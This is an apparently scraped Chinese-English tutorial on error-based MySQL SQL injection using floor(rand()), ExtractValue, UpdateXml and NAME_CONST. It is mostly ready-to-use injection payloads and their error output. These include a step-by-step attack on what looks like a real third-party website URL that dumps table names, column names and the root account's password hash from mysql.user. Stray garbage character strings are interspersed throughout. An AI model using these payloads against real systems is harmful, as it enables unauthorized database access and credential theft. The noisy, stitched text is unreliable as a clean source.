mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
( T- s: |  s/ K" E首先进行正常查询：

mysql> select * from article where id = 1;
6 H8 T* C& r& W7 ~( A' l+—-+——-+———+
| id | title | content |
& i5 z% Q2 ]4 n$ M( h1 Q( O# R+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
8 F) O& `- z, ]& k- U) TERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
; u: [3 h7 ~2 O3 A1 E/ Y  ~ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
8 Q- h% u* ]# S  e" WERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

7 O' a5 l! {4 w2 K2 Z; }2 i

再收集：

* F6 Z+ j' {+ ^. o: H# F+ E+ Whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

  a. O3 W: F. |. cErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
! c3 B2 p- _. T6 w& W; D" r' W- F
$ S! O! e. i6 E0 V# V* V: Hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
$ k) V- J( K3 z2 D* Z
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

6 I$ G$ _+ g7 N% g/ WMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

9 O3 W/ J+ Q8 P5 y5 K8 k
相关信息
# N" R* M6 Z$ p" F# ~5 ~
8 [* R# i2 r. e# T' E7 {* E( qNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
% J3 j. Q  X4 z- G" ]* Z
- K$ a# l% X, n; {# k  U' c% SCode:
* |6 T/ W0 c8 r+ O; `# MNAME_CONST(DATA, VALUE)
+ J9 p4 J, }; `" e9 k; t: Z0 \5 r3 n
2 `6 ^+ S/ ~  ?3 X- J9 K% |2 oReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
  m# C% w( O, @
& K" u- I# t, h$ g) hSELECT NAME_CONST('TEST', 1)



|---------------|
|     TEST      |
|               |
|---------------|
|       1       |
, G" T  w" A5 X|               |
$ n+ h# |: b: ]- a# o|---------------|
1 z2 t, S1 T. G9 l$ S* W; R
3 m& z; h/ F- W6 S5 q


7 ]2 x, N& {, y6 uhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
9 y. X6 M1 I! c+ v9 f6 {  s
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

" r0 @- N) f: A; g2 w+ \Code:
. `$ T2 Z# c" |1 n6 C$ O$ Ehttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
' n; e3 h. l5 u; u


1 O# O' x  R% R- S; X/ ?

Code:
+ N1 o! D* f% I, Dand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.
1 C0 |  e4 z  o2 @- q: W& S$ p7 Y
# b* j/ d& ], ~9 SMySQL 5.1.3 Server System Variables

' q' P1 E) v& v. w* `Let's try it out on my site..
8 O% c  ^5 r# ?$ Q
0 K( U6 r$ w' o: D- jCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
& s. e% O' b3 G7 i" i6 E/ b
1 Z. z8 O3 |9 U4 j$ D) O4 u  wErroruplicate column name '5.0.27-community-nt'
1 u/ K+ m) Q7 p! P9 y$ |4 G' }- f
2 `) Y, P! s' t

2 Y, n1 p8 F0 x" N

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
5 J! n) d  i  @1 s# L' I; w( S
* o" c& o  ^0 i/ g; m9 z9 Y/ RData Extraction

. \: t% q- J4 z9 w- Y- @1 eCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

5 G4 s" u+ f: J& ]- W8 n5 a' X6 W, v
" r1 z7 y2 x3 k$ `6 d/ U8 w7 f; l6 ]We should get a duplicate column 1 error...
8 @# \% R3 r  h; O7 {, F
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

; E3 W, W, a- s0 ?) R3 mErroruplicate column name '1

; }9 @# h8 m% B, I

/ H' p/ T$ ]9 N: h4 f
, u9 w) q- ]9 A; p4 S3 k

Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
$ g6 ]0 h- B. q6 Y+ D6 t) n
/ p" [( c2 ?( g" }- X3 q; s
/ G' ?, t1 m/ J( G# RLet's see if it works here, if it does, we can go on and finish the job.

Code:
0 K. a- ]+ |& q6 Phttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


  _* E" l# a) J4 c! t! T1 mErroruplicate column name 'com_admanage

* w7 M: m8 m2 Z: j6 R$ ]- f( n

! Q( r: Q4 n* ~, ]: V, f
6 [. \8 |3 e9 r; ^4 Z0 f

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
5 N8 c: _4 Z3 j) w. y8 s! {
, k5 \1 z' L. @' d9 H1 x' qLet's get the columns out of the user table..
1 i( i: Q$ [' }" C" s1 n( L' D# }
4 G8 X. h$ S0 K+ `Code:
4 i/ l4 M0 C4 ?6 }, P+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


% Y0 r& N: g3 N4 Z2 k* fSo mine looks like this, and I get the duplicate column name 'Host'.

, u0 Z/ u$ }' Z- g, qCode:
( W( B, B4 j$ N7 f# P+ r- Z" Xhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

1 ~  a$ d1 x/ {4 D( XErroruplicate column name 'Host'
% p7 i* M  w4 f0 {% p


* J4 w0 g- ]; C; }, H4 Z

- N( H; ~& W' l0 n- a$ [( y9 S
Woot, time to finish this bitch off.
1 v' Q% F* E. c2 W; Q4 Y  m  x
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
4 \0 U1 L# s! `, U! n

* F' J) B) [/ n2 ~So mine looks like this...

2 A) E$ D& I, y, h( `; S5 ?Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
- I& P7 i: X# p' s: I5 S0 ?

& O. w- |, X( k& ]' }; P



# t: }: y  b% d6 P+ CAnd there we have it, thanks for reading.

- U! [2 I% D! u: W